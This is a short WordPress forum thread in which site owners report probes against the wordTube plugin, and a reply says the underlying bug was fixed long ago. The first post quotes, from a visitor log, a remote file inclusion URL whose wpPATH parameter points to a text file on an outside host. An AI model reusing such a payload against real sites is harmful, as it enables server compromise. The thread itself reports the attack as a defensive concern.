 * Hello, I don’t use this plugin, but I noticed a visitor to my site trying to 
   access this URL:
 * `http://scribu.net/plugins/wordtube/wordtube-button.php?wpPATH=http://www.hyonsvc.
   co.kr//bbs//skin/ggambo7002_board/id1.txt?`
 * Don’t know if it poses any threat with the latest versions of the plugin and/
   or WP.

 * Strange, i got the same issue here and found many strange urls that ppl where
   trying to access, and worse, when i turn on wordtube plugin, my entire server
   got a 75% of server load in few seconds… why it is happening?

 * Yes, there was a bug. It’s fixed already over one year and no more a problem
